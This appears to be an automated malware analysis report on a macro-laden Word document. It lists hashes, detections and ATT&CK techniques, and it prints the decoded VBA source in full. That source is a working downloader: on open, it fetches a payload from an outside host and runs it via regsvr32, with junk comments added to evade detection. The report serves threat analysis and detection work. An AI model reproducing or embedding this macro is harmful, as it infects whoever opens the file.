Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 62e38539f02a1109…

MALICIOUS

Office (OOXML)

146.9 KB Created: 2020-07-08 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: cfa4a4a15ef305fd0b68814446707357 SHA-1: 5db495a59ab855f88d1d2f9c1aab6deaa78d477e SHA-256: 62e38539f02a11090fde657eed6726f916c4b99ed26a653cdf77a72094b47b89
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file is a malicious OOXML document containing a VBA macro. The `autoopen` subroutine within the `macros.bas` script utilizes `URLDownloadToFile` to download a payload from `http://ioyyf.com/iz5/yaca.php?l=kpt5.cab` and saves it as `hI.tmp`. Subsequently, the `P` subroutine executes this downloaded file using `regsvr32 hI.tmp`, indicating an attempt to download and run a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ' Spectrum charges abased deathbed
Call URLDownloadToFile(0, "http://ioyyf.com/iz5/yaca.php?l=kpt5.cab", Vw, 0, 0)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Const Vw As String = "hI.tmp"
Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ioyyf.com/iz5/yaca.php?l=kpt5.cab Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1974 bytes
SHA-256: 04b5b77157c7aa248e643b71975ba46ed84363c6369f6e77fce4915fa0692a1f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "E"
Public Const Vw As String = "hI.tmp"
Sub autoopen()

' Warbler gourmet charles expire whaler
' Noise strapping disparity affluent

' Shoemakers cameras
' Scudding biblical bombard filling
' Sas
' Hubbub poplar threefold amanda odin
' Spectrum charges abased deathbed
Call URLDownloadToFile(0, "http://ioyyf.com/iz5/yaca.php?l=kpt5.cab", Vw, 0, 0)

' Marketplace interesting intel watcher
' Click magnet occult
P
End Sub

Attribute VB_Name = "E1"
Sub P()

' Auckland lynn wav carnival

' Able rooms somber
' Lately
' Scenes calcium
' Address antigua mantilla sip shadows
' Shannon betide recommendations brooklyn history greeting attraction
' Astrology occupancy

' Prosaic detection suggests fig. highly
' Volt recognised sluice grouse sr das

' Sneeze
' Pebble loft premeditation tree

' Barrier coherent fails lazy trainer

' Wb
' Livesex sim continuity
' Wage subsequently seemed felt

' Hill ignition comedian

' Surpass mart devotedness favors asus
' Temps
' Nods conviction wither
' Disagreed sen everything alluring
Dim N5 As New WshShell

' Access
' Department craggy smoker compost
' Poster goods intensity
N5.run "regs" + "vr32 " & Vw
End Sub

Attribute VB_Name = "g"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal TG As LongPtr, ByVal Hb As String, ByVal Ab As String, ByVal KZ As LongPtr, ByVal Sa As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal TG As Long, ByVal Hb As String, ByVal Ab As String, ByVal KZ As Long, ByVal Sa As Long) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: a567e1c00ae3ae93752a2102b544cb6d7830536491f2bae71d700e1b23bca8ef

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